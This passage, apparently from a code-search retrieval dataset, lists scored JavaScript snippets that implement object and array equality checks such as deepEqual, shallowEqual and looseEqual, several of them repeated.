return true;\n\n\t// Dates must have equal time values\n\tif (isDate(a) && isDate(b))\n\t\treturn a.getTime() === b.getTime();\n\n\t// Non-objects must be strictly equal (types must be equal)\n\tif (!isObject(a) || !isObject(b))\n\t\treturn a === b;\n\n\t// Prototypes must be identical. getPrototypeOf may throw on\n\t// ES3 engines that don't provide access to the prototype.\n\ttry {\n\n\t if (Object.getPrototypeOf(a) !== Object.getPrototypeOf(b))\n\t\t return false;\n\n\t} catch (err) {}\n\n\tlet aKeys = Object.keys(a),\n\t\tbKeys = Object.keys(b);\n\n\t// Number of own properties must be identical\n\tif (aKeys.length !== bKeys.length)\n\t\treturn false;\n\n\tfor (let i = 0; i < aKeys.length; ++i) {\n\n\t\t// Names of own properties must be identical\n\t\tif (!OP_hasOwnProperty.call(b, aKeys[i]))\n\t\t\treturn false;\n\n\t\t// Values of own properties must be equal\n\t\tif (!equal(a[aKeys[i]], b[aKeys[i]]))\n\t\t\treturn false;\n\t}\n\n\treturn true;\n}", "title": "" }, { "docid": "01c272fe7d16fd1837ff849e60ab51b4", "score": "0.5784916", "text": "function looseEqual(a,b){\nif(a===b){return true;}\nvar isObjectA=isObject(a);\nvar isObjectB=isObject(b);\nif(isObjectA&&isObjectB){\ntry{\nvar isArrayA=Array.isArray(a);\nvar isArrayB=Array.isArray(b);\nif(isArrayA&&isArrayB){\nreturn a.length===b.length&&a.every(function(e,i){\nreturn looseEqual(e,b[i]);\n});\n}else if(a instanceof Date&&b instanceof Date){\nreturn a.getTime()===b.getTime();\n}else if(!isArrayA&&!isArrayB){\nvar keysA=Object.keys(a);\nvar keysB=Object.keys(b);\nreturn keysA.length===keysB.length&&keysA.every(function(key){\nreturn looseEqual(a[key],b[key]);\n});\n}else {\n/* istanbul ignore next */\nreturn false;\n}\n}catch(e){\n/* istanbul ignore next */\nreturn false;\n}\n}else if(!isObjectA&&!isObjectB){\nreturn String(a)===String(b);\n}else {\nreturn false;\n}\n}", "title": "" }, { "docid": "edb05d5358bf3924c8a86b168e4d4d59", "score": "0.57707316", "text": "function deepCompareKeysImpl(objA, objB, keys) {\n return keys.every(function (key) {\n return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && deepCompareKeys(objA[key], objB[key]);\n });\n}", "title": "" }, { "docid": "94b81a0cd27f1375f2cb0a0eaa6d0d4f", "score": "0.57663673", "text": "function isEqual(dict, other) {\n var dictKeys = keys(dict);\n var otherKeys = keys(other);\n\n if (dictKeys.length !== otherKeys.length) {\n return false;\n }\n\n for (var _i = 0, dictKeys_1 = dictKeys; _i < dictKeys_1.length; _i++) {\n var key = dictKeys_1[_i];\n\n if (dict[key] !== other[key]) {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "0bae799eb8fd95aa4e54eb3920eba279", "score": "0.57537466", "text": "function key_value_match(first_object, second_object) {\n for (var key_from_first in first_object) {\n \tfor (var key_from_second in second_object) {\n \t if ((key_from_first == key_from_second) && (first_object[key_from_first] == second_object[key_from_second])) {\n \t \treturn true;\n \t }\n \t}\n }\n return false;\n}", "title": "" }, { "docid": "ea7a515efd543616b4b0ca4b8d9d2656", "score": "0.57531923", "text": "function areObjectsEqual(a, b, isEqual, meta) {\n var keysA = Object.keys(a);\n var index = keysA.length;\n if (Object.keys(b).length !== index) {\n return false;\n }\n var key;\n // Decrementing `while` showed faster results than either incrementing or\n // decrementing `for` loop and than an incrementing `while` loop. Declarative\n // methods like `some` / `every` were not used to avoid incurring the garbage\n // cost of anonymous callbacks.\n while (index-- > 0) {\n key = keysA[index];\n if (key === OWNER) {\n var reactElementA = !!a.$$typeof;\n var reactElementB = !!b.$$typeof;\n if ((reactElementA || reactElementB) && reactElementA !== reactElementB) {\n return false;\n }\n }\n if (!hasOwnProperty.call(b, key) ||\n !isEqual(a[key], b[key], key, key, a, b, meta)) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "5665375dea50de9e67b458f904adbe92", "score": "0.5745518", "text": "function deepEqual(x, y) {\n const ok = Object.keys, tx = typeof x, ty = typeof y;\n return x && y && tx === 'object' && tx === ty ? (\n ok(x).length === ok(y).length &&\n ok(x).every(key => deepEqual(x[key], y[key]))\n ) : (x === y);\n}", "title": "" }, { "docid": "337e1bdf34428883a03061320f19323c", "score": "0.5740739", "text": "function areObjectsEqual(a, b, isEqual, meta) {\r\n var keysA = Object.keys(a);\r\n var index = keysA.length;\r\n if (Object.keys(b).length !== index) {\r\n return false;\r\n }\r\n var key;\r\n // Decrementing `while` showed faster results than either incrementing or\r\n // decrementing `for` loop and than an incrementing `while` loop. Declarative\r\n // methods like `some` / `every` were not used to avoid incurring the garbage\r\n // cost of anonymous callbacks.\r\n while (index-- > 0) {\r\n key = keysA[index];\r\n if (key === OWNER) {\r\n var reactElementA = !!a.$$typeof;\r\n var reactElementB = !!b.$$typeof;\r\n if ((reactElementA || reactElementB) && reactElementA !== reactElementB) {\r\n return false;\r\n }\r\n }\r\n if (!hasOwnProperty.call(b, key) ||\r\n !isEqual(a[key], b[key], key, key, a, b, meta)) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n}", "title": "" }, { "docid": "b8575aeacdfd2639fb08dede90ba184b", "score": "0.57331836", "text": "function key_value_match(object1, object2){\n\tif ((object1['name'] == undefined) || (object1['age'] == undefined)) {\n\t\treturn false;\n\t}\n\n\telse if\t(\n\t\t\t(object1['name'] == object2['name']) || \n\t\t\t(object1['age'] == object2['age'])) {\n\t\treturn true;\n\t}\n\telse {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "dddb40e031711f680c6d4080aad369c9", "score": "0.5730412", "text": "function equal(a,b) {\n if(a instanceof Array) {\n if(!(b instanceof Array))\n return false\n if(a.length !== b.length) {\n return false\n } else {\n for(var n=0; n<a.length; n++) {\n if(!equal(a[n],b[n])) {\n return false\n }\n }\n // else\n return true\n }\n } else if(a instanceof Object) {\n if(!(b instanceof Object))\n return false\n\n var aKeys = Object.keys(a)\n var bKeys = Object.keys(b)\n\n if(aKeys.length !== bKeys.length) {\n return false\n } else {\n for(var n=0; n<aKeys.length; n++) {\n var key = aKeys[n]\n var aVal = a[key]\n var bVal = b[key]\n\n if(!equal(aVal,bVal)) {\n return false\n }\n }\n // else\n return true\n }\n } else {\n return a===b || Number.isNaN(a) && Number.isNaN(b)\n }\n}", "title": "" }, { "docid": "9b9247532dbb957f91e27e95ecaba464", "score": "0.5725893", "text": "function hasKeys(o /*: {...} */) /*: boolean */ {\n for (const k in o) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "1e8fe3cbe8a42ff67e34a4f9cfdef5a8", "score": "0.57194895", "text": "function deepEqual(a,b){\n if (a === b) return true;\n if ( a == null || typeof a != \"object\" || \n b == null || typeof b != \"object\") return false;\n let keysA = Object.keys(a), \n keysB = Object.keys(b);\n if (keysA.length != keysB.length) return false;\n\n for(let key of keysA) {\n if (!keysB.includes(key) || !deepEqual(a[key], b[key])) return false;\n }\n return true;\n}", "title": "" }, { "docid": "ffc246f3fa72091b1822201261e2b3ea", "score": "0.5715919", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (areBothNaN(a, b))\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "ffc246f3fa72091b1822201261e2b3ea", "score": "0.5715919", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (areBothNaN(a, b))\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "ffc246f3fa72091b1822201261e2b3ea", "score": "0.5715919", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (areBothNaN(a, b))\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "624a16d638aee90bb84a32edf53a6c77", "score": "0.57032377", "text": "function equalState(obj1, obj2) {\n if (obj1.length !== obj2.length) return false\n\n for (let prop in obj1) {\n if (obj1[prop] !== obj2[prop]) return false;\n }\n\n return true\n}", "title": "" }, { "docid": "640a5c869bce6a4345c39f3b4e03f7ff", "score": "0.57029915", "text": "function deepEqual(actual, expected, opts) {\n let pSlice = Array.prototype.slice;\n \n function objectKeys(obj) {\n var keys = [];\n for (var key in obj) keys.push(key);\n return keys;\n };\n \n function isArguments(object) {\n return Object.prototype.toString.call(object) == '[object Arguments]';\n };\n \n function isUndefinedOrNull(value) {\n return value === null || value === undefined;\n }\n \n function isBuffer(x) {\n if (!x || typeof x !== 'object' || typeof x.length !== 'number') return false;\n if (typeof x.copy !== 'function' || typeof x.slice !== 'function') {\n return false;\n }\n if (x.length > 0 && typeof x[0] !== 'number') return false;\n return true;\n }\n \n function objEquiv(a, b, opts) {\n let i, key, ka, kb;\n if (isUndefinedOrNull(a) || isUndefinedOrNull(b))\n return false;\n // an identical 'prototype' property.\n if (a.prototype !== b.prototype) return false;\n //~~~I've managed to break Object.keys through screwy arguments passing.\n // Converting to array solves the problem.\n if (isArguments(a)) {\n if (!isArguments(b)) {\n return false;\n }\n a = pSlice.call(a);\n b = pSlice.call(b);\n return deepEqual(a, b, opts);\n }\n if (isBuffer(a)) {\n if (!isBuffer(b)) {\n return false;\n }\n if (a.length !== b.length) return false;\n for (i = 0; i < a.length; i++) {\n if (a[i] !== b[i]) return false;\n }\n return true;\n }\n try {\n ka = objectKeys(a);\n kb = objectKeys(b);\n } catch (e) { //happens when one is a string literal and the other isn't\n return false;\n }\n // having the same number of owned properties (keys incorporates\n // hasOwnProperty)\n if (ka.length != kb.length) {\n return false;\n }\n //the same set of keys (although not necessarily the same order),\n ka.sort();\n kb.sort();\n //~~~cheap key test\n for (i = ka.length - 1; i >= 0; i--) {\n if (ka[i] != kb[i]) {\n return false;\n }\n }\n //equivalent values for every corresponding key, and\n //~~~possibly expensive deep test\n for (i = ka.length - 1; i >= 0; i--) {\n key = ka[i];\n if (!deepEqual(a[key], b[key], opts)) {\n return false;\n }\n }\n return typeof a === typeof b;\n }\n \n return (() => {\n if (!opts) opts = {};\n \n if (actual === expected) {\n return true;\n \n } else if (actual instanceof Date && expected instanceof Date) {\n return actual.getTime() === expected.getTime();\n \n } else if (!actual || !expected || typeof actual != 'object' && typeof expected != 'object') {\n return opts.strict ? actual === expected : actual == expected;\n \n } else {\n return objEquiv(actual, expected, opts);\n }\n })();\n}", "title": "" }, { "docid": "fd9d6bb0eb4d95c191069f341cf5fff5", "score": "0.56983364", "text": "function checkForObjectsEquality(obj1,obj2){\n if((Object.keys(obj1)).length == 0 && (Object.keys(obj2)).length == 0){\n //console.log(\"checkForObjectsEquality\",true);\n return true;\n }\n if((Object.keys(obj1)).length == 0 || (Object.keys(obj2)).length == 0){\n //console.log(\"checkForObjectsEquality\",false);\n return false;\n }\n else{\n //console.log(\"checkForObjectsEquality\",(JSON.stringify(obj1) === JSON.stringify(obj2)));\n return (JSON.stringify(obj1) === JSON.stringify(obj2));\n }\n}", "title": "" }, { "docid": "e06f1172e64d5c7c65fd615ce81f684a", "score": "0.5698181", "text": "function shallowCompareKeysImpl(objA, objB, keys) {\n return filterKeys(objA, objB, keys).every(function (key) {\n return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && objA[key] === objB[key];\n });\n}", "title": "" }, { "docid": "91adb7e57eb496baad6f7fff5c549f42", "score": "0.5681304", "text": "function _shallowCompareKeys(objA, objB, keys) {\n return _filterKeys(objA, objB, keys).every(function (key) {\n return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && objA[key] === objB[key];\n });\n}", "title": "" }, { "docid": "91adb7e57eb496baad6f7fff5c549f42", "score": "0.5681304", "text": "function _shallowCompareKeys(objA, objB, keys) {\n return _filterKeys(objA, objB, keys).every(function (key) {\n return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && objA[key] === objB[key];\n });\n}", "title": "" }, { "docid": "486c5a68b42caba7a180969b36954562", "score": "0.56775635", "text": "async allEqual() {\n const firstItem = await this.next();\n if (firstItem.done) {\n return true;\n }\n const first = firstItem.value;\n while (true) {\n const item = await this.next();\n if (item.done) {\n return true;\n }\n const eq = item.value === first;\n if (!eq) {\n return false;\n }\n }\n }", "title": "" }, { "docid": "cc6f795b97a61377895f9fc9eded5836", "score": "0.56665885", "text": "function _shallowCompareKeys(objA, objB, keys) {\n\t return _filterKeys(objA, objB, keys).every(function (key) {\n\t return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && objA[key] === objB[key];\n\t });\n\t}", "title": "" }, { "docid": "ce1bd4c20f9636cd99cffe25001f69de", "score": "0.5663141", "text": "function looseEqual(a,b){if(a===b){return true;}var isObjectA=isObject(a);var isObjectB=isObject(b);if(isObjectA&&isObjectB){try{var isArrayA=Array.isArray(a);var isArrayB=Array.isArray(b);if(isArrayA&&isArrayB){return a.length===b.length&&a.every(function(e,i){return looseEqual(e,b[i]);});}else if(a instanceof Date&&b instanceof Date){return a.getTime()===b.getTime();}else if(!isArrayA&&!isArrayB){var keysA=Object.keys(a);var keysB=Object.keys(b);return keysA.length===keysB.length&&keysA.every(function(key){return looseEqual(a[key],b[key]);});}else{/* istanbul ignore next */return false;}}catch(e){/* istanbul ignore next */return false;}}else if(!isObjectA&&!isObjectB){return String(a)===String(b);}else{return false;}}", "title": "" }, { "docid": "9c859d6e9b6ae25866032e07b674b429", "score": "0.5660503", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9c859d6e9b6ae25866032e07b674b429", "score": "0.5660503", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9c859d6e9b6ae25866032e07b674b429", "score": "0.5660503", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9c859d6e9b6ae25866032e07b674b429", "score": "0.5660503", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9c859d6e9b6ae25866032e07b674b429", "score": "0.5660503", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9c859d6e9b6ae25866032e07b674b429", "score": "0.5660503", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9c859d6e9b6ae25866032e07b674b429", "score": "0.5660503", "text": "function deepEqual(a, b) {\n if (a === null && b === null)\n return true;\n if (a === undefined && b === undefined)\n return true;\n if (typeof a !== \"object\")\n return a === b;\n var aIsArray = isArrayLike(a);\n var aIsMap = isMapLike(a);\n if (aIsArray !== isArrayLike(b)) {\n return false;\n }\n else if (aIsMap !== isMapLike(b)) {\n return false;\n }\n else if (aIsArray) {\n if (a.length !== b.length)\n return false;\n for (var i = a.length - 1; i >= 0; i--)\n if (!deepEqual(a[i], b[i]))\n return false;\n return true;\n }\n else if (aIsMap) {\n if (a.size !== b.size)\n return false;\n var equals_1 = true;\n a.forEach(function (value, key) {\n equals_1 = equals_1 && deepEqual(b.get(key), value);\n });\n return equals_1;\n }\n else if (typeof a === \"object\" && typeof b === \"object\") {\n if (a === null || b === null)\n return false;\n if (isMapLike(a) && isMapLike(b)) {\n if (a.size !== b.size)\n return false;\n // Freaking inefficient.... Create PR if you run into this :) Much appreciated!\n return deepEqual(observable.shallowMap(a).entries(), observable.shallowMap(b).entries());\n }\n if (getEnumerableKeys(a).length !== getEnumerableKeys(b).length)\n return false;\n for (var prop in a) {\n if (!(prop in b))\n return false;\n if (!deepEqual(a[prop], b[prop]))\n return false;\n }\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "99bede20a460f3ddd6c44ad4e24dd697", "score": "0.5651372", "text": "function pointsEqual() {\r for (var i=0; i<arguments.length; i++) {\r for (var k=0; k<arguments.length; k++) {\r if (arguments[i][0] != arguments[k][0] || arguments[i][1] != arguments[k][1]) return false;\r }\r }\r\r return true;\r}", "title": "" }, { "docid": "46cedbcad9a368df5ee6103e8864d670", "score": "0.5650042", "text": "function _shallowCompareKeys(objA, objB, keys) {\n return _filterKeys(objA, objB, keys).every(function (key) {\n return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && objA[key] === objB[key];\n });\n}", "title": "" }, { "docid": "46cedbcad9a368df5ee6103e8864d670", "score": "0.5650042", "text": "function _shallowCompareKeys(objA, objB, keys) {\n return _filterKeys(objA, objB, keys).every(function (key) {\n return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && objA[key] === objB[key];\n });\n}", "title": "" }, { "docid": "7b65f0a358b1cc988378880dfa34bed6", "score": "0.5648689", "text": "function shallowEqual(objA,objB){\nif(objectIs(objA,objB)){\nreturn true;\n}\n\nif(typeof objA!=='object'||objA===null||typeof objB!=='object'||objB===null){\nreturn false;\n}\n\nvar keysA=Object.keys(objA);\nvar keysB=Object.keys(objB);\n\nif(keysA.length!==keysB.length){\nreturn false;\n}// Test for A's keys different from B.\n\n\nfor(var i=0;i<keysA.length;i++){\nif(!hasOwnProperty$2.call(objB,keysA[i])||!objectIs(objA[keysA[i]],objB[keysA[i]])){\nreturn false;\n}\n}\n\nreturn true;\n}", "title": "" }, { "docid": "00b7decd1e007109ba2f419a235dece2", "score": "0.5648071", "text": "function _deepCompareKeys(objA, objB, keys) {\n return keys.every(function (key) {\n return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && deepCompareKeys(objA[key], objB[key]);\n });\n}", "title": "" }, { "docid": "00b7decd1e007109ba2f419a235dece2", "score": "0.5648071", "text": "function _deepCompareKeys(objA, objB, keys) {\n return keys.every(function (key) {\n return objA.hasOwnProperty(key) === objB.hasOwnProperty(key) && deepCompareKeys(objA[key], objB[key]);\n });\n}", "title": "" }, { "docid": "898945822202801854a6cc4f0d22cf8c", "score": "0.56372267", "text": "function keyValueMatch(obj1, obj2) {\n for (var prop in obj1) {\n if (obj1[prop] === obj2[prop]) {\n return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "0c8d5c8f208700c95e709f67f36915aa", "score": "0.5631374", "text": "function commonPair(obj1, obj2){\r\n\r\n\tvar keysA = Object.keys(obj1);\r\n\tvar keysB = Object.keys(obj2);\r\n\r\n\tfor(var i = 0; i < keysA.length; i++){\r\n\r\n\t\tvar a_key = keysA[i];\r\n\t\tvar a_value = obj1[a_key];\r\n\r\n\t\tfor(var j = 0; j < keysB.length; j++){\r\n\r\n\t\t\tvar b_key = keysB[j];\r\n\t\t\tvar b_value = obj2[b_key];\r\n\r\n\t\t\tif(a_key==b_key && a_value==b_value){\r\n\r\n\t\t\t\treturn true;\r\n\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\treturn false;\r\n\r\n}", "title": "" }, { "docid": "ae5f441a5dbcb3aaf6996b833d49797d", "score": "0.5631089", "text": "function isEqual(a, b) {\n if (typeof a === 'function' && typeof b === 'function') {\n return true;\n }\n\n if (a instanceof Array && b instanceof Array) {\n if (a.length !== b.length) {\n return false;\n }\n\n for (var i = 0; i !== a.length; i++) {\n if (!isEqual(a[i], b[i])) {\n return false;\n }\n }\n\n return true;\n }\n\n if (isObject(a) && isObject(b)) {\n if (Object.keys(a).length !== Object.keys(b).length) {\n return false;\n }\n\n for (var _i3 = 0, _Object$keys = Object.keys(a); _i3 < _Object$keys.length; _i3++) {\n var key = _Object$keys[_i3];\n\n if (!isEqual(a[key], b[key])) {\n return false;\n }\n }\n\n return true;\n }\n\n return a === b;\n}", "title": "" }, { "docid": "deebbf5f45ff5ed7996a329d947bb895", "score": "0.56304187", 